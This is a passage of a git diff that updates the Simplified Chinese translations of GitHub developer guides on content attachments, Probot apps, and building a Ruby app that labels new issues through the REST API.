+有关配置 GitHub 应用程序权限和事件订阅所需的步骤，请参阅“[创建 GitHub 应用程序](/apps/building-github-apps/creating-a-github-app/)”或“[编辑 GitHub 应用程序的权限](/apps/managing-github-apps/editing-a-github-app-s-permissions/)”。
 
-## Implementing the content attachment flow
+## 实现内容附件流程
 
-The content attachment flow shows you the relationship between the URL in the issue or pull request, the `content_reference` webhook event, and the REST API endpoint you need to call to update the issue or pull request with additional information:
+内容附件流程向您显示议题或拉取请求中的 URL、`content_reference` web 挂钩事件以及使用额外信息更新议题或拉取请求所需调用的 REST API 端点之间的关系。
 
-**Step 1.** Set up your app using the guidelines outlined in [About content attachments](#about-content-attachments). You can also use the [Probot App example](#example-using-probot-and-github-app-manifests) to get started with content attachments.
+**步骤 1.** 使用[关于内容附件](#about-content-attachments)中的指南设置应用程序。 您也可以根据 [Probot 应用程序示例](#example-using-probot-and-github-app-manifests)开始使用内容附件。
 
-**Step 2.** Add the URL for the domain you registered to an issue or pull request. You must use a fully qualified URL that starts with `http://` or `https://`.
+**步骤 2.** 将注册域的 URL 添加到议题或拉取请求。 必须使用以 `http://` 或 `https://` 开头的完全合格 URL。
 
-![URL added to an issue](/assets/images/github-apps/github_apps_content_reference.png)
+![添加到议题的 URL](/assets/images/github-apps/github_apps_content_reference.png)
 
-**Step 3.** Your app will receive the [`content_reference` webhook](/webhooks/event-payloads/#content_reference) with the action `created`.
+**步骤 3.**应用程序将收到带有操作 `created` 的 [`content_reference` web 挂钩](/webhooks/event-payloads/#content_reference)。
 
 ``` json
 {
@@ -57,12 +58,12 @@ The content attachment flow shows you the relationship between the URL in the is
 }
 ```
 
-**Step 4.** The app uses the `content_reference` `id` and `repository` `full_name` fields to [Create a content attachment](/rest/reference/apps#create-a-content-attachment) using the REST API. You'll also need the `installation` `id` to authenticate as a [GitHub App installation](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-an-installation).
+**步骤 4.** 应用程序使用 `content_reference` `id` 和 `repository` `full_name` 字段以使用 REST API [创建内容附件](/rest/reference/apps#create-a-content-attachment)。 您还需要 `installation` `id` 以验证为 [GitHub 应用程序安装设施](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-an-installation)。
 
 {% data reusables.pre-release-program.corsair-preview %}
 {% data reusables.pre-release-program.api-preview-warning %}
 
-The `body` parameter can contain markdown:
+`body` 参数可包含 Markdown：
 
 ```shell
 curl -X POST \
@@ -70,24 +71,24 @@ curl -X POST \
   -H 'Accept: application/vnd.github.corsair-preview+json' \
   -H 'Authorization: Bearer $INSTALLATION_TOKEN' \
   -d '{
-	"title": "[A-1234] Error found in core/models.py file",
-	"body": "You have used an email that already exists for the user_email_uniq field.\n ## DETAILS:\n\nThe (email)=(Octocat@github.com) already exists.\n\n The error was found in core/models.py in get_or_create_user at line 62.\n\n self.save()"
+    "title": "[A-1234] Error found in core/models.py file",
+    "body": "You have used an email that already exists for the user_email_uniq field.\n ## DETAILS:\n\nThe (email)=(Octocat@github.com) already exists.\n\n The error was found in core/models.py in get_or_create_user at line 62.\n\n self.save()"
 }'
 ```
 
-For more information about creating an installation token, see "[Authenticating as a GitHub App](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-an-installation)."
+有关创建和安装令牌的更多信息，请参阅“[验证为 GitHub 应用程序](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-an-installation)”。
 
-**Step 5.** You'll see the new content attachment appear under the link in a pull request or issue comment:
+**步骤 5.** 在拉取请求或议题注释中，您将看到新的内容附件显示在链接下：
 
-![Content attached to a reference in an issue](/assets/images/github-apps/content_reference_attachment.png)
+![附加到议题引用的内容](/assets/images/github-apps/content_reference_attachment.png)
 
-## Using content attachments in GraphQL
-We provide the `node_id` in the [`content_reference` webhook](/webhooks/event-payloads/#content_reference) event so you can refer to the `createContentAttachment` mutation in the GraphQL API.
+## 在 GraphQL 中使用内容附件
+我们在 [`content_reference` web 挂钩](/webhooks/event-payloads/#content_reference)中提供 `node_id`，以便您可以在 GraphQL API 中引用 `createContentAttachment` 突变。
 
 {% data reusables.pre-release-program.corsair-preview %}
 {% data reusables.pre-release-program.api-preview-warning %}
 
-For example:
+例如：
 
 ``` graphql
 mutation {
@@ -106,7 +107,7 @@ mutation {
   }
 }
 ```
-Example cURL:
+示例 cURL：
 
 ```shell
 curl -X "POST" "{% data variables.product.api_url_code %}/graphql" \
@@ -118,16 +119,16 @@ curl -X "POST" "{% data variables.product.api_url_code %}/graphql" \
 }'
 ```
 
-For more information on `node_id`, see "[Using Global Node IDs]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/guides/using-global-node-ids)."
+有关 `node_id` 的更多信息，请参阅“[使用全局节点 ID]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/guides/using-global-node-ids)”。
 
-## Example using Probot and GitHub App Manifests
+## 使用 Probot 和 GitHub 应用程序清单的示例
 
-To quickly setup a GitHub App that can use the {% data variables.product.prodname_unfurls %} API, you can use [Probot](https://probot.github.io/). See "[Creating GitHub Apps from a manifest](/apps/building-github-apps/creating-github-apps-from-a-manifest/)" to learn how Probot uses GitHub App Manifests.
+要快速设置可使用 {% data variables.product.prodname_unfurls %} API 的 GitHub 应用程序，您可以使用 [Probot](https://probot.github.io/)。 要了解 Probot 如何使用 GitHub 应用程序清单，请参阅“[从清单创建 GitHub 应用程序](/apps/building-github-apps/creating-github-apps-from-a-manifest/)”。
 
-To create a Probot App, follow these steps:
+要创建 Probot 应用程序，请按照以下步骤操作：
 
-1. [Generate a new GitHub App](https://probot.github.io/docs/development/#generating-a-new-app).
-2. Open the project you created, and customize the settings in the `app.yml` file. Subscribe to the `content_reference` event and enable `content_references` write permissions:
+1. [生成新的 GitHub 应用程序](https://probot.github.io/docs/development/#generating-a-new-app)。
+2. 打开您创建的项目，自定义 `app.yml` 文件中的设置。 订阅 `content_reference` 事件并启用 `content_references` 写入权限：
 
    ``` yml
     default_events:
@@ -146,7 +147,7 @@ To create a Probot App, follow these steps:
         value: example.org
    ```
 
-3. Add this code to the `index.js` file to handle `content_reference` events and call the REST API:
+3. 将此代码添加到 `index.js` 文件以处理 `content_reference` 事件并调用 REST API：
 
     ``` javascript
     module.exports = app => {
@@ -167,13 +168,13 @@ To create a Probot App, follow these steps:
     }
     ```
 
-4. [Run the GitHub App locally](https://probot.github.io/docs/development/#running-the-app-locally). Navigate to `http://localhost:3000`, and click the **Register GitHub App** button:
+4. [在本地运行 GitHub 应用程序](https://probot.github.io/docs/development/#running-the-app-locally)。 导航到 `http://localhost:3000`， 然后单击 **Register GitHub App（注册 GitHub 应用程序）**按钮：
 
-   ![Register a Probot GitHub App](/assets/images/github-apps/github_apps_probot-registration.png)
+   ![注册 Probot GitHub 应用程序](/assets/images/github-apps/github_apps_probot-registration.png)
 
-5. Install the app on a test repository.
-6. Create an issue in your test repository.
-7. Add a comment to the issue you opened that includes the URL you configured in the `app.yml` file.
-8. Take a look at the issue comment and you'll see an update that looks like this:
+5. 在测试仓库中安装应用程序。
+6. 在测试仓库中创建议题。
+7. 将注释添加到您打开的议题，包括您在 `app.yml` 文件中配置的 URL。
+8. 查看议题注释，您将看到如下所示的更新：
 
-   ![Content attached to a reference in an issue](/assets/images/github-apps/content_reference_attachment.png)
+   ![附加到议题引用的内容](/assets/images/github-apps/content_reference_attachment.png)
diff --git a/translations/zh-CN/content/developers/apps/guides/using-the-github-api-in-your-app.md b/translations/zh-CN/content/developers/apps/guides/using-the-github-api-in-your-app.md
index fa26be18c7..021f460bda 100644
--- a/translations/zh-CN/content/developers/apps/guides/using-the-github-api-in-your-app.md
+++ b/translations/zh-CN/content/developers/apps/guides/using-the-github-api-in-your-app.md
@@ -1,6 +1,6 @@
 ---
-title: Using the GitHub API in your app
-intro: Learn how to set up your app to listen for events and use the Octokit library to perform REST API operations.
+title: 在应用程序中使用 GitHub API
+intro: 了解如何设置应用程序以侦听事件，并使用 Octokit 库执行 REST API 操作。
 redirect_from:
   - /apps/building-your-first-github-app
   - /apps/quickstart-guides/using-the-github-api-in-your-app
@@ -12,89 +12,90 @@ versions:
   ghec: '*'
 topics:
   - GitHub Apps
-shortTitle: Build an app with the REST API
+shortTitle: 使用 REST API 构建应用程序
 ---
-## Introduction
 
-This guide will help you build a GitHub App and run it on a server. The app you build will add a label to all new issues opened in the repository where the app is installed.
+## 简介
 
-This project will walk you through the following:
+本指南将帮助您构建 GitHub 应用程序并在服务器上运行它。 您构建的应用程序将为在安装该应用程序的仓库中所有打开的新议题添加标签。
 
-* Programming your app to listen for events
-* Using the Octokit.rb library to do REST API operations
+此项目将引导您完成以下工作：
+
+* 编程应用程序以侦听事件
+* 使用 Octokit. rb 库执行 REST API 操作
 
 {% data reusables.apps.app-ruby-guides %}
 
-Once you've worked through the steps, you'll be ready to develop other kinds of integrations using the full suite of GitHub APIs. {% ifversion fpt or ghec %}You can check out successful examples of apps on [GitHub Marketplace](https://github.com/marketplace) and [Works with GitHub](https://github.com/works-with).{% endif %}
+一旦完成了这些步骤，您就可以使用整套 GitHub API 开发其他类型的集成。 {% ifversion fpt or ghec %}您可以在 [GitHub Marketplace](https://github.com/marketplace) 和[使用 GitHub](https://github.com/works-with) 中查看成功的应用程序示例。{% endif %}
 
-## Prerequisites
+## 基本要求
 
-You may find it helpful to have a basic understanding of the following:
+您可能会发现对以下内容有基本的了解很有帮助：
 
-* [GitHub Apps](/apps/about-apps)
-* [Webhooks](/webhooks)
-* [The Ruby programming language](https://www.ruby-lang.org/en/)
-* [REST APIs](/rest)
+* [GitHub 应用程序](/apps/about-apps)
+* [Web 挂钩](/webhooks)
+* [Ruby 编程语言](https://www.ruby-lang.org/en/)
+* [REST API](/rest)
 * [Sinatra](http://sinatrarb.com/)
 
-But you can follow along at any experience level. We'll link out to information you need along the way!
+但是，任何经验水平都能跟上步伐。 我们会一路提供所需信息的链接。
 
-Before you begin, you'll need to do the following:
+在开始之前，您需要执行以下操作：
 
-1. Clone the [Using the GitHub API in your app](https://github.com/github-developer/using-the-github-api-in-your-app) repository.
+1. 克隆[在应用程序中使用 GitHub API](https://github.com/github-developer/using-the-github-api-in-your-app) 仓库。
   ```shell
     $ git clone https://github.com/github-developer/using-the-github-api-in-your-app.git
   ```
 
-  Inside the directory, you'll find a `template_server.rb` file with the template code you'll use in this quickstart and a `server.rb` file with the completed project code.
+  在目录中，您将找到包含本快速入门将要使用的模板代码的 `template_server.rb` 文件以及包含已完成项目代码的 `server.rb` 文件。
 
-1. Follow the steps in the [Setting up your development environment](/apps/quickstart-guides/setting-up-your-development-environment/) quickstart to configure and run the `template_server.rb` app server. If you've previously completed a GitHub App quickstart other than [Setting up your development environment](/apps/quickstart-guides/setting-up-your-development-environment/), you should register a _new_ GitHub App and start a new Smee channel to use with this quickstart.
+1. 按照“[设置开发环境](/apps/quickstart-guides/setting-up-your-development-environment/)”快速入门中的步骤来配置和运行 `template_server.rb` 应用程序服务器。 如果您以前完成了[设置开发环境](/apps/quickstart-guides/setting-up-your-development-environment/)以外的其他 GitHub 应用程序快速入门，您应该注册一个_新_ GitHub 应用程序并启动一个新 Smee 通道以用于本快速入门。
 
-  This quickstart includes the same `template_server.rb` code as the [Setting up your development environment](/apps/quickstart-guides/setting-up-your-development-environment/) quickstart. **Note:** As you follow along with the [Setting up your development environment](/apps/quickstart-guides/setting-up-your-development-environment/) quickstart, make sure to use the project files included in the [Using the GitHub API in your app](https://github.com/github-developer/using-the-github-api-in-your-app) repository.
+  本快速入门包含与[设置开发环境](/apps/quickstart-guides/setting-up-your-development-environment/)快速入门相同的 `template_server.rb` 代码。 **注：**遵循[设置开发环境](/apps/quickstart-guides/setting-up-your-development-environment/)快速入门的同时，请确保使用[在应用程序中使用 GitHub API](https://github.com/github-developer/using-the-github-api-in-your-app) 仓库中包含的项目文件。
 
-  See the [Troubleshooting](/apps/quickstart-guides/setting-up-your-development-environment/#troubleshooting) section if you are running into problems setting up your template GitHub App.
+  如果在设置模板 GitHub 应用程序时遇到问题，请参阅[疑难解答](/apps/quickstart-guides/setting-up-your-development-environment/#troubleshooting)部分。
 
-## Building the app
+## 构建应用程序
 
-Now that you're familiar with the `template_server.rb` code, you're going to create code that automatically adds the `needs-response` label to all issues opened in the repository where the app is installed.
+现在您已经熟悉了 `template_server.rb` 代码，您将创建可将 `needs-response` 标签自动添加到安装该应用程序的仓库中所有已打开议题的代码。
 
-The `template_server.rb` file contains app template code that has not yet been customized. In this file, you'll see some placeholder code for handling webhook events and some other code for initializing an Octokit.rb client.
+`template_server.rb` 文件包含尚未自定义的应用程序模板代码。 在本文件中，您将看到一些用于处理 web 挂钩事件的占位符代码，以及用于初始化 Octokit.rb 客户端的一些其他代码。
 
 {% note %}
 
-**Note:** `template_server.rb` contains many code comments that complement this guide and explain additional technical details. You may find it helpful to read through the comments in that file now, before continuing with this section, to get an overview of how the code works.
+**注：**`template_server.rb` 包含许多代码注释，可补充本指南并解释其他技术细节。 您可能会发现，在继续本节之前通读该文件中的注释以概要了解代码的工作方式，将对您大有帮助。
 
-The final customized code that you'll create by the end of this guide is provided in [`server.rb`](https://github.com/github-developer/using-the-github-api-in-your-app/blob/master/server.rb). Try waiting until the end to look at it, though!
+您在本指南末尾创建的最终自定义代码存在于 [`server.rb`](https://github.com/github-developer/using-the-github-api-in-your-app/blob/master/server.rb) 中。 不过，尽可能等到最后再查看它吧！
 
 {% endnote %}
 
-These are the steps you'll complete to create your first GitHub App:
+以下是创建第一个 GitHub 应用程序要完成的步骤：
 
-1. [Update app permissions](#step-1-update-app-permissions)
-2. [Add event handling](#step-2-add-event-handling)
-3. [Create a new label](#step-3-create-a-new-label)
-4. [Add label handling](#step-4-add-label-handling)
+1. [更新应用程序权限](#step-1-update-app-permissions)
+2. [添加事件处理](#step-2-add-event-handling)
+3. [创建新标签](#step-3-create-a-new-label)
+4. [添加标签处理](#step-4-add-label-handling)
 
-## Step 1. Update app permissions
+## 步骤 1. 更新应用程序权限
 
-When you [first registered your app](/apps/quickstart-guides/setting-up-your-development-environment/#step-2-register-a-new-github-app), you accepted the default permissions, which means your app doesn't have access to most resources. For this example, your app will need permission to read issues and write labels.
+如果您在[首次注册应用程序](/apps/quickstart-guides/setting-up-your-development-environment/#step-2-register-a-new-github-app)时接受了默认权限，则意味着您的应用程序无法访问大多数资源。 对于此示例，您的应用程序将需要读取议题和写入标签的权限。
 
-To update your app's permissions:
+要更新应用程序的权限：
 
-1. Select your app from the [app settings page](https://github.com/settings/apps) and click **Permissions & Webhooks** in the sidebar.
-1. In the "Permissions" section, find "Issues," and select **Read & Write** in the "Access" dropdown next to it. The description says this option grants access to both issues and labels, which is just what you need.
-1. In the "Subscribe to events" section, select **Issues** to subscribe to the event.
+1. 从[应用程序设置页面](https://github.com/settings/apps)选择应用程序，然后单击边栏中的 **Permissions & Webhooks（权限和 web 挂钩）**。
+1. 在“Permissions（权限）”部分，找到“Issues（议题）”，然后在其旁边的“Access（访问权限）”下拉列表中选择 **Read & write（读取和写入）**。 说明中表示，此选项将授予对议题和标签的访问权限，而这正是您所需要的。
+1. 在“Subscribe to events（订阅事件）”部分，选择 **Issues（议题）**以订阅事件。
 {% data reusables.apps.accept_new_permissions_steps %}
 
-Great! Your app has permission to do the tasks you want it to do. Now you can add the code to make it work.
+太好了！ 您的应用程序现在有权限执行所需的任务。 现在，您可以添加代码使其正常工作。
 
-## Step 2. Add event handling
+## 步骤 2. 添加事件处理
 
-The first thing your app needs to do is listen for new issues that are opened. Now that you've subscribed to the **Issues** event, you'll start receiving the [`issues`](/webhooks/event-payloads/#issues) webhook, which is triggered when certain issue-related actions occur. You can filter this event type for the specific action you want in your code.
+应用程序需要做的第一件事是侦听打开的新议题。 现在您已订阅 **Issues（议题）**事件，您将开始接收 [`issues`](/webhooks/event-payloads/#issues) web 挂钩，它在某些与议题相关的操作发生时触发。 您可以根据要在代码中执行的特定操作来过滤此事件类型。
 
-GitHub sends webhook payloads as `POST` requests. Because you forwarded your Smee webhook payloads to `http://localhost/event_handler:3000`, your server will receive the `POST` request payloads in the `post '/event_handler'` route.
+GitHub 将 web 挂钩有效负载作为 `POST` 请求发送。 因为您已将 Smee web 挂钩有效负载转发到 `http://localhost/event_handler:3000`，因此您的服务器将在 `post '/event_handler'` 路由中接收 `POST` 请求有效负载。
 
-An empty `post '/event_handler'` route is already included in the `template_server.rb` file, which you downloaded in the [prerequisites](#prerequisites) section. The empty route looks like this:
+您在[前提条件](#prerequisites)部分中下载的 `template_server.rb` 文件中已包括空 `post '/event_handler'` 路由。 空路由如下所示：
 
 ``` ruby
   post '/event_handler' do
@@ -107,7 +108,7 @@ An empty `post '/event_handler'` route is already included in the `template_serv
   end
 ```
 
-Use this route to handle the `issues` event by adding the following code:
+通过添加以下代码，使用此路由来处理 `issues` 事件：
 
 ``` ruby
 case request.env['HTTP_X_GITHUB_EVENT']
@@ -118,9 +119,9 @@ when 'issues'
 end
 ```
 
-Every event that GitHub sends includes a request header called `HTTP_X_GITHUB_EVENT`, which indicates the type of event in the `POST` request. Right now, you're only interested in `issues` event types. Each event has an additional `action` field that indicates the type of action that triggered the events. For `issues`, the `action` field can be `assigned`, `unassigned`, `labeled`, `unlabeled`, `opened`, `edited`, `milestoned`, `demilestoned`, `closed`, or `reopened`.
+GitHub 发送的每个事件都包含一个名为 `HTTP_X_GITHUB_EVENT` 的请求标头，它指示 `POST` 请求中的事件类型。 现在，您只关注 `issues` 事件类型。 每个事件都有一个附加的 `action` 字段，它指示触发事件的操作类型。 对于 `issues`，`action` 字段可以是 `assigned`、`unassigned`、`labeled`、`unlabeled`、`opened`、`edited`、`milestoned`、`demilestoned`、`closed` 或 `reopened`。
 
-To test your event handler, try adding a temporary helper method. You'll update later when you [Add label handling](#step-4-add-label-handling). For now, add the following code inside the `helpers do` section of the code. You can put the new method above or below any of the other helper methods. Order doesn't matter.
+要测试事件处理程序，请尝试添加临时辅助方法。 稍后将在[添加标签处理](#step-4-add-label-handling)时进行更新。 现在，在代码的 `helpers do` 部分添加以下代码。 您可以将新方法放在其他任何辅助方法的上方或下方。 顺序无关紧要。
 
 ``` ruby
 def handle_issue_opened_event(payload)
@@ -128,37 +129,37 @@ def handle_issue_opened_event(payload)
 end
 ```
 
-This method receives a JSON-formatted event payload as an argument. This means you can parse the payload in the method and drill down to any specific data you need. You may find it helpful to inspect the full payload at some point: try changing `logger.debug 'An issue was opened!` to `logger.debug payload`. The payload structure you see should match what's [shown in the `issues` webhook event docs](/webhooks/event-payloads/#issues).
+此方法接收 JSON 格式的事件有效负载作为参数。 这意味着您可以解析方法中的有效负载并深入挖掘所需的任何特定数据。 您可能会发现在某个时候检查整个有效负载很有帮助：尝试将 `logger.debug 'An issue was opened!` 更改为 `logger.debug payload`。 您看到的有效负载结构应该与 [`issues` web 挂钩事件文档中显示的](/webhooks/event-payloads/#issues)结构相匹配。
 
-Great! It's time to test the changes.
+太好了！ 是时候测试更改了。
 
 {% data reusables.apps.sinatra_restart_instructions %}
 
-In your browser, visit the repository where you installed your app. Open a new issue in this repository. The issue can say anything you like. It's just for testing.
+在浏览器中，访问安装应用程序的仓库。 在此仓库中打开一个新议题。 此议题可以谈论您喜欢的任何事情。 它仅用于测试。
 
-When you look back at your Terminal, you should see a message in the output that says, `An issue was opened!` Congrats! You've added an event handler to your app. 💪
+回头查看终端时，您应该会在输出中看到一条消息：`An issue was opened!` 恭喜！ 您已将事件处理程序添加到应用程序中。 💪
 
-## Step 3. Create a new label
+## 步骤 3. 创建新标签
 
-Okay, your app can tell when issues are opened. Now you want it to add the label `needs-response` to any newly opened issue in a repository the app is installed in.
+好，您的应用程序在有议题被打开时会告诉您。 现在，您希望它将标签 `needs-response` 添加到安装该应用程序的仓库中任何新打开的议题。
 
-Before the label can be _added_ anywhere, you'll need to _create_ the custom label in your repository. You'll only need to do this one time. For the purposes of this guide, create the label manually on GitHub. In your repository, click **Issues**, then **Labels**, then click **New label**. Name the new label `needs-response`.
+将标签_添加_到任何位置之前，您需要在仓库中_创建_自定义标签。 只需要这样做一次。 就本指南而言，请在 GitHub 上手动创建标签。 在仓库中，依次单击 **Issues（议题）**、**Labels（标签）**，然后单击 **New label（新建标签）**。 将新标签命名为 `needs-response`。
 
 {% tip %}
 
-**Tip**: Wouldn't it be great if your app could create the label programmatically? [It can](/rest/reference/issues#create-a-label)! Try adding the code to do that on your own after you finish the steps in this guide.
+**提示**：如果您的应用能够以编程方式创建标签，那岂不是很棒吗？ [它能](/rest/reference/issues#create-a-label)！ 完成本指南中的步骤后，请尝试添加代码，自行实现。
 
 {% endtip %}
 
-Now that the label exists, you can program your app to use the REST API to [add the label to any newly opened issue](/rest/reference/issues#add-labels-to-an-issue).
+现在，标签有了，您可以对应用程序进行编程，以使用 REST API [将标签添加到任何新打开的议题中](/rest/reference/issues#add-labels-to-an-issue)。
 
-## Step 4. Add label handling
+## 步骤 4. 添加标签处理
 
-Congrats—you've made it to the final step: adding label handling to your app. For this task, you'll want to use the [Octokit.rb Ruby library](http://octokit.github.io/octokit.rb/).
+恭喜！您来到了最后一步：向应用程序添加标签处理。 要完成此任务，您需要使用 [Octokit.rb Ruby 库](http://octokit.github.io/octokit.rb/)。
 
-In the Octokit.rb docs, find the list of [label methods](http://octokit.github.io/octokit.rb/Octokit/Client/Labels.html). The method you'll want to use is [`add_labels_to_an_issue`](http://octokit.github.io/octokit.rb/Octokit/Client/Labels.html#add_labels_to_an_issue-instance_method).
+在 Octokit.rb 文档中，找到[标签方法](http://octokit.github.io/octokit.rb/Octokit/Client/Labels.html)列表。 您要使用的方法是 [`add_labels_to_an_issue`](http://octokit.github.io/octokit.rb/Octokit/Client/Labels.html#add_labels_to_an_issue-instance_method)。
 
-Back in `template_server.rb`, find the method you defined previously:
+回到 `template_server.rb`，找到您以前定义的方法：
 
 ``` ruby
 def handle_issue_opened_event(payload)
@@ -166,13 +167,13 @@ def handle_issue_opened_event(payload)
 end
 ```
 
-The [`add_labels_to_an_issue`](http://octokit.github.io/octokit.rb/Octokit/Client/Labels.html#add_labels_to_an_issue-instance_method) docs show you'll need to pass three arguments to this method:
+[`add_labels_to_an_issue`](http://octokit.github.io/octokit.rb/Octokit/Client/Labels.html#add_labels_to_an_issue-instance_method) 文档显示您需要向此方法传递三个参数：
 
-* Repo (string in `"owner/name"` format)
-* Issue number (integer)
-* Labels (array)
+* 仓库（`"owner/name"` 格式的字符串）
+* 议题编号（整数）
+* 标签（数组）
 
-You can parse the payload to get both the repo and the issue number. Since the label name will always be the same (`needs-response`), you can pass it as a hardcoded string in the labels array. Putting these pieces together, your updated method might look like this:
+您可以解析有效负载以获取仓库和议题编号。 由于标签名称始终相同 (`needs-response`)，因此可以在标签数组中作为硬编码字符串传递它。 将这些片段放在一起，更新后的方法可能如下所示：
 
 ``` ruby
 # When an issue is opened, add a label
@@ -183,56 +184,56 @@ def handle_issue_opened_event(payload)
 end
 ```
 
-Try opening a new issue in your test repository and see what happens! If nothing happens right away, try refreshing.
+尝试在测试仓库中打开一个新议题，看看会发生什么！ 如果没有任何反应，请尝试刷新。
 
-You won't see much in the Terminal, _but_ you should see that a bot user has added a label to the issue.
+在终端中看不到太多信息，_但是_您应该看到机器人用户已向该议题添加了标签。
 
 {% note %}
 
-**Note:** When GitHub Apps take actions via the API, such as adding labels, GitHub shows these actions as being performed by _bot_ accounts. For more information, see "[Machine vs. bot accounts](/apps/differences-between-apps/#machine-vs-bot-accounts)."
+**注：**当 GitHub 应用程序通过 API 执行操作（例如添加标签）时，GitHub 会显示这些操作由_机器人_帐户执行。 更多信息请参阅“[机器与机器人帐户](/apps/differences-between-apps/#machine-vs-bot-accounts)”。
 
 {% endnote %}
 
-If so, congrats! You've successfully built a working app! 🎉
+如果是，恭喜！ 您已成功构建了一个可正常工作的应用程序！ 🎉
 
-You can see the final code in `server.rb` in the [app template repository](https://github.com/github-developer/using-the-github-api-in-your-app).
+您可以在[应用程序模板仓库](https://github.com/github-developer/using-the-github-api-in-your-app)的 `server.rb` 中查看最终代码。
 
-See "[Next steps](#next-steps)" for ideas about where you can go from here.
+有关接下来可以做什么的想法，请参阅“[后续步骤](#next-steps)”。
 
-## Troubleshooting
+## 疑难解答
 
-Here are a few common problems and some suggested solutions. If you run into any other trouble, you can ask for help or advice in the {% data variables.product.prodname_support_forum_with_url %}.
+以下是一些常见问题和一些建议的解决方案。 如果您遇到任何其他问题，可以在 {% data variables.product.prodname_support_forum_with_url %} 中寻求帮助或建议。
 
-* **Q:** My server isn't listening to events! The Smee client is running in a Terminal window, and I'm sending events on GitHub.com by opening new issues, but I don't see any output in the Terminal window where I'm running the server.
+* **问：**我的服务器没有侦听事件！ Smee 客户端在终端窗口中运行，我通过打开新议题在 GitHub.com 上发送事件，但是在运行服务器的终端窗口中没有看到任何输出。
 
-    **A:** You may not have the correct Smee domain in your app settings. Visit your [app settings page](https://github.com/settings/apps) and double-check the fields shown in "[Register a new app with GitHub](/apps/quickstart-guides/setting-up-your-development-environment/#step-2-register-a-new-github-app)." Make sure the domain in those fields matches the domain you used in your `smee -u <unique_channel>` command in "[Start a new Smee channel](/apps/quickstart-guides/setting-up-your-development-environment/#step-1-start-a-new-smee-channel)."
+    **答：**您的应用程序设置中可能没有正确的 Smee 域。 访问[应用程序设置页面](https://github.com/settings/apps)，然后双击“[使用 GitHub 注册新应用程序](/apps/quickstart-guides/setting-up-your-development-environment/#step-2-register-a-new-github-app)”中显示的的字段。 确保这些字段中的域与您在“[启动新的 Smee 通道](/apps/quickstart-guides/setting-up-your-development-environment/#step-1-start-a-new-smee-channel)”中的 `smee -u <unique_channel>` 命令中使用的域相匹配。
 
-* **Q:** My app doesn't work! I opened a new issue, but even after refreshing, no label has been added to it.
+* **问：**我的应用程序无法正常工作！ 我打开了一个新议题，但是即使刷新后也没有给它添加标签。
 
-    **A:** Make sure all of the following are true:
+    **答：**请确保满足以下所有条件：
 
-    * You [installed the app](/apps/quickstart-guides/setting-up-your-development-environment/#step-7-install-the-app-on-your-account) on the repository where you're opening the issue.
-    * Your [Smee client is running](/apps/quickstart-guides/setting-up-your-development-environment/#step-1-start-a-new-smee-channel) in a Terminal window.
-    * Your [web server is running](/apps/quickstart-guides/setting-up-your-development-environment/#step-6-start-the-server) with no errors in another Terminal window.
-    * Your app has [read & write permissions on issues and is subscribed to issue events](/apps/quickstart-guides/setting-up-your-development-environment/#step-1-start-a-new-smee-channel).
-    * You [checked your email](#step-1-update-app-permissions) after updating the permissions and accepted the new permissions.
+    * 您在打开议题的仓库中[安装了应用程序](/apps/quickstart-guides/setting-up-your-development-environment/#step-7-install-the-app-on-your-account)。
+    * 您的 [Smee 客户端正在终端窗口中运行](/apps/quickstart-guides/setting-up-your-development-environment/#step-1-start-a-new-smee-channel)。
+    * 您的 [web 服务器](/apps/quickstart-guides/setting-up-your-development-environment/#step-6-start-the-server)能够在其他终端窗口中无错误运行。
+    * 您的应用程序具有[对议题的读取和写入权限并且订阅了议题事件](/apps/quickstart-guides/setting-up-your-development-environment/#step-1-start-a-new-smee-channel)。
+    * 您在更新权限后[检查了电子邮件](#step-1-update-app-permissions)并接受了新权限。
 
-## Conclusion
+## 结论
 
-After walking through this guide, you've learned the basic building blocks for developing GitHub Apps! To review, you:
+完成本指南后，您已了解开发 GitHub 应用程序的基本构建块！ 回顾一下：
 
-* Programmed your app to listen for events
-* Used the Octokit.rb library to do REST API operations
+* 编程应用程序以侦听事件
+* 使用 Octokit. rb 库执行 REST API 操作
 
-## Next steps
+## 后续步骤
 
-Here are some ideas for what you can do next:
+以下是有关接下来可以做什么的一些想法：
 
-* [Rewrite your app using GraphQL](https://developer.github.com/changes/2018-04-30-graphql-supports-github-apps/)!
-* Rewrite your app in Node.js using [Probot](https://github.com/probot/probot)!
-* Have the app check whether the `needs-response` label already exists on the issue, and if not, add it.
-* When the bot successfully adds the label, show a message in the Terminal. (Hint: compare the `needs-response` label ID with the ID of the label in the payload as a condition for your message, so that the message only displays when the relevant label is added and not some other label.)
-* Add a landing page to your app and hook up a [Sinatra route](https://github.com/sinatra/sinatra#routes) for it.
-* Move your code to a hosted server (like Heroku). Don't forget to update your app settings with the new domain.
-* Share your project or get advice in the {% data variables.product.prodname_support_forum_with_url %}{% ifversion fpt or ghec %}
-* Have you built a shiny new app you think others might find useful? [Add it to GitHub Marketplace](/apps/marketplace/creating-and-submitting-your-app-for-approval/)!{% endif %}
+* [使用 GraphQL 重写应用程序](https://developer.github.com/changes/2018-04-30-graphql-supports-github-apps/)！
+* 使用 [Probot](https://github.com/probot/probot) 在 Node.js 中重写应用程序！
+* 让应用程序检查议题上是否存在 `needs-response` 标签，如果否，则添加它。
+* 当机器人成功添加标签时，在终端中显示消息。 （提示：将 `needs-response` 标签 ID 与有效负载中的标签 ID 进行比较，以作为显示消息的条件，这样只有在添加相关标签时才显示消息。）
+* 向应用程序添加登录页面并为它连接 [Sinatra 路由](https://github.com/sinatra/sinatra#routes)。
+* 将代码移动到托管服务器（如 Heroku）。 不要忘记使用新域更新应用程序设置。
+* 在 {% data variables.product.prodname_support_forum_with_url %}{% ifversion fpt or ghec %} 中分享项目或寻求建议
+* 您是否构建了一款让人眼前一亮的新应用程序？您认为它可能对其他人有帮助？ [将其添加到 GitHub Marketplace](/apps/marketplace/creating-and-submitting-your-app-for-approval/)！{% endif %}
diff --git a/translations/zh-CN/content/developers/apps/index.md b/translations/zh-CN/content/developers/apps/index.md
index 30fe7ff44f..4561de66e6 100644
--- a/translations/zh-CN/content/developers/apps/index.md
+++ b/translations/zh-CN/content/developers/apps/index.md
@@ -1,6 +1,6 @@
 ---
-title: Apps
-intro: You can automate and streamline your workflow by building your own apps.
+title: 应用
